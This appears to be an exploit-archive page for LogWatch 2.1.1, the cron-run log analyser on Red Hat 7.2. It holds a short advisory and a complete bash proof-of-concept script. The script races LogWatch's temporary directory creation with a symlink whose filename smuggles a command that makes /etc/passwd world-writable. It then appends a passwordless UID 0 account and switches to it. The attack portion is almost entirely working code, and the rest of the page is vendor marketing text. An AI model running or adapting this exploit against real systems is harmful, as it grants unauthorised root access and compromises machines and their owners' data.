Lucene search
K

logwatch211.sh

🗓️ 03 Apr 2002 00:00:00Reported by SpybreakType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

LogWatch 2.1.1 has a race condition allowing local users unauthorized root access via exploit.

Code
`--- INTRO ---  
  
LogWatch is a customizable log analysis system. LogWatch parses  
through your system's logs for a given period of time and creates a  
report analyzing areas that you specify, in as much detail as you  
require.  
  
The collected results are reported to a chosen e-mail address,  
root by default.  
  
LogWatch 2.1.1 is a part of the Red Hat Linux 7.2 distribution,  
enabled by default and daily run by the cron daemon.  
  
--- PROBLEM ---  
  
On a system running LogWatch, a local user is able to gain  
unauthorized root access, due to a race condition during  
the temporary directory creation.  
  
--- EXPLOIT ---  
  
  
#!/bin/bash  
#  
# March 27 2002  
#  
# logwatch211.sh  
#  
# Proof of concept exploit code  
# for LogWatch 2.1.1  
# Waits for LogWatch to be run then gives root shell  
# For educational purposes only  
#  
# (c) Spybreak <[email protected]>  
  
  
SERVANT="00-logwatch" # Logwatch's cron entry  
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/  
  
echo  
echo "LogWatch 2.1.1 root shell exploit"  
echo '(c) Spybreak <[email protected]>'  
echo  
echo "Waiting for LogWatch to be executed"  
  
while :; do  
set `ps -o pid -C $SERVANT`  
if [ -n "$2" ]; then  
mkdir /tmp/logwatch.$2   
ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron  
break;  
fi  
done  
echo "Waiting for LogWatch to finish it's work"  
while :; do  
set `ps -o pid -C $SERVANT`  
if [ -z "$2" ]; then  
ls -l /etc/passwd|mail root  
echo master::0:0:master:/root:/bin/bash >> /etc/passwd  
break;  
fi  
done  
su master   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation